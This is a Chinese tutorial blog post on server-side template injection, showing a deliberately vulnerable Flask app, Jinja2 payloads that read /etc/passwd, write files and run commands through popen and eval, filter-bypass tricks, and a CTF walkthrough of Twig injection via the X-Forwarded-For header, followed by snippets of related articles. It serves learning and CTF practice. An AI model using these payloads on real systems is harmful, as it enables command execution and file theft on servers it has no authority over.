初步认识SSTI

article/2025/10/10 4:09:26

SSTI简介

SSTI,即服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,从而导致各种各样的问题。

Python SSTI(flask)

首先,我们先写一个简单的flask(说起SSTI就想到flask框架),由于我用的是pycharm,所以可以直接创建项目。
app.py代码如下:

from flask import Flask#flask需要自己安装
from flask import render_template
from flask import requestapp = Flask(__name__)@app.route('/',methods=['GET','POST'])
def hello_world():return render_template("index.html", title='Home', user=request.args.get("key"))if __name__ == '__main__':app.run()

并创建文件夹如下:
在这里插入图片描述
在templates中写入index.html文件如下:(templates文件夹为渲染文件所在位置)

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>This is a test</title>
</head>
<body>
<h1>hello.{{ user }}</h1>
</body>
</html>

此时运行便可得到
在这里插入图片描述
打开127.0.0.1:5000,传入参数key={{2*3}}可以看到:
在这里插入图片描述
此时并没有执行,因为模板渲染已经不可控了。但是,当我们把app.py中

def hello_world():return render_template("index.html", title='Home', user=request.args.get("key"))

换成

def hello_world():code = request.args.get('id')template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div> ''' %(code)return render_template_string(template)

此时,问题就大了,因为它直接将变量的内容当作字符串进行输出,就会造成下面的结果:
在这里插入图片描述
可以看见,它直接将id算出来了。我们就可以进行模板注入。
这里我们需要知道python中一些特殊的类:

__class__#返回调用的参数类型。
__base__#返回基类
__mro__#允许我们在当前Python环境下追溯继承树
__subclasses__()#返回子类

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法(object类是所有类的基类),比如最简单的payload"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('dir').read()就是利用object类的第134个子类(os._wrap_close类)并将其初始化,再利用全局变量来达到命令执行的目的。

"".__class__返回的是<class 'str'>
"".__class__.bases__返回的是(<class 'object'>,)
"".__class__.__bases__[0].__subclasses__返回的是所有类
"".__class__.__bases__[0].__subclasses__[133]返回的是<class 'os._wrap_close'>
__init__用来初始化类
__globals__是全局来查找所有的方法及变量及参数
__globals__['popen']来调用popen方法

下面是一些payload:
读/写文件:

[].__class__.bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.bases__[0].__subclasses__()[40]('/var/www/html').write('test')

命令执行:

"".__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read()
"".__class__.bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()

还有一些绕过小技巧:

  1. 过滤了关键字,可以用拼接法,比如过滤了globals,则可以用'glo'+'bals'
  2. 过滤了中括号,可以用__getitem__,原来为:''.__class__.__mro__[2]可换成''.__class__.__mro__.getitem__(2)
  3. 过滤{{}},可用{%%}代替。

还有其他技巧和payload,可以看p师傅的:https://p0sec.net/index.php/archives/120/

参考文章:
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/hackxf/p/10480071.html

PHP SSTI(Twig)

这个我就直接上题吧,[BJDCTF2020]The mystery of ip,因为PHP学得比较多,也很简单,基本一看就懂,就跟着流程走一遍吧。
打开题目,看到flag页面,点进去,发现会显示IP:
在这里插入图片描述
考虑XFF头或者referer头,测试后发现是XFF头:
在这里插入图片描述
测试后发现是SSTI注入:
在这里插入图片描述
执行PHP代码:
在这里插入图片描述
得到flag。
值得注意的是,SSTI的时候,语句不需要加上分号。


http://chatgpt.dhexx.cn/article/toW8okdc.shtml

相关文章

ISCC SSTI

先找参数吧&#xff0c;通过信息搜集&#xff0c;参数是xiaodouni 就是小豆泥的英文&#xff0c;这个是暹罗猫的一个名字吧 然后直接放两个payload的吧 看不懂的可以看一下我以前的文章CTFshow ssti里面讲了思路&#xff0c;这里就不再解释了。 {%set pp(dict(popa))|join%} …

SSTI 学习笔记

PHP SSTI(Twig) 学习文章 进入环境&#xff0c;左上角有flag,hint 都检查看看 flag页面显示ip&#xff0c;hint页面源代码有提示 考虑XFF头或者referer头 测试一下 注&#xff1a;这里不用加上“&#xff1b;” 出来了 python flask ssti 学习文章 原理&#xff1a;因为对输…

浅学Go下的ssti

前言 作为强类型的静态语言&#xff0c;golang的安全属性从编译过程就能够避免大多数安全问题&#xff0c;一般来说也唯有依赖库和开发者自己所编写的操作漏洞&#xff0c;才有可能形成漏洞利用点&#xff0c;在本文&#xff0c;主要学习探讨一下golang的一些ssti模板注入问题…

SSTI——java里的ssti

1.Velocity 2.FreeMarker 因为从来没接触过java语言 所以对这些也是基本上一窍不通 这里只简单的提及 不做具体介绍 会找一下题来做 但是没有找到有关java ssti的题目 confusion1 看一下描述 打开题目 没发现什么东西 但是 login register页面显示访问不成功 查看源代码找到…

详解SSTI模板注入

详解SSTI模板注入 SSTI简介常见的模板引擎PHPJAVAPYTHONRUBYGOLANG SSTI产生的原因常用检测工具 TplmapFlask/Jinja模板引擎的相关绕过Flask简介demo漏洞代码基础知识沙盒逃逸Python的内建函数名称空间类继承 寻找Python-SSTI攻击载荷的过程攻击载荷过程常用的目标函数常见的中…

web安全-SSTI模板注入漏洞

一.初识SSTI 1.什么是SSTI注入&#xff1f; SSTI模板注入(Server-Side Template Injection)&#xff0c;通过与服务端模板的输入输出交互&#xff0c;在过滤不严格的情况下&#xff0c;构造恶意输入数据&#xff0c;从而达到读取文件或者getshell的目的。 2.SSTI漏洞成因 ​…

BugKu:Simple_SSTI(SSTI模板注入)

目录 1.Simple_SSTI_1 2.Simple_SSTI_2 1.Simple_SSTI_1 点击链接进入&#xff0c;题目说&#xff1a; You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看&#xff0c;也可以右击页面--->“检查” 如图所示&#xff0c;我…

SSTI模板注入绕过(进阶篇)

文章目录 语法变量过滤器总结获取内置方法 以chr为例字符串构造获取键值或下标获取属性 下面的内容均以jinja2为例&#xff0c;根据官方文档来探寻绕过方法 文档链接 默认大家都已经可以利用没有任何过滤的模板注入 语法 官方文档对于模板的语法介绍如下 {% ... %} for State…

学习ssti

ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时&#xff0c;则会造成模板注入 比如render_template_string函数&#xff0c;当参数可控时&#xff0c;会造成模板注入 在Python的ssti中&#xff0c;大部分是依靠基类->子类->危险函数的方式来利用ssti python沙…

Simple_SSTI_1与Simple_SSTI_2

目录 一&#xff0c;Simple_SSTI_1 二&#xff0c;Simple_SSTI_2 一&#xff0c;Simple_SSTI_1 首先打开场景&#xff1a; 然后F12查看一下源码&#xff1a; 于是通过百度相关知识寻找线索&#xff1a; 1&#xff0c;SSTI &#xff1a;服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染&#xff0c;当处理不得当&#xff0c;未进行语句过滤&#xff0c;用户输入{{控制语句}}&#xff0c;会导致渲染出恶意代码&#xff0c;形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当&#xff0c;导致用户输入可以修改服务端模版的执行逻辑&#xff0c;从而造成XSS,任意文件读取&#xff0c;代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样&#xff0c;Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来&#xff0c;除非你的的模板文件修改&#xff0c;否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结&#xff1a;SSTI的理解&#xff1a;SSTI引发的真正原因&#xff1a;render_template渲染函数是什么&#xff1a;render_template&#xff1a;注入的思想&#xff1a;playload 娓娓道来&#xff1a;魔术对象&#xff1a;用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么&#xff1f; 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入&#xff08;Server-Side Template Injection&#xff09; ​ 当前使用的一些框架&#xff0c;比如python的flask&#xff0c;php的tp&#xff0c;java的spring等一般都采用成熟的的MVC的模式&#xff0c;用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection)&#xff0c;也给出了一个注入的概念。 常见的注入有&#xff1a;SQL 注入&#xff0c;XSS 注入&#xff0c;XPATH 注入&#xff0c;XML 注入&#xff0c;代码注入&#xff0c;命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结&#xff08;转载)5、常见过滤器&#xff08;转载&#xff09; 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日&#xff0c;科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0&#xff0c;成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架&#xff0c;集成通用的科学数据处理组件和存算环境的一体化管理与调度&#xff0c;各科学数据中心/科研…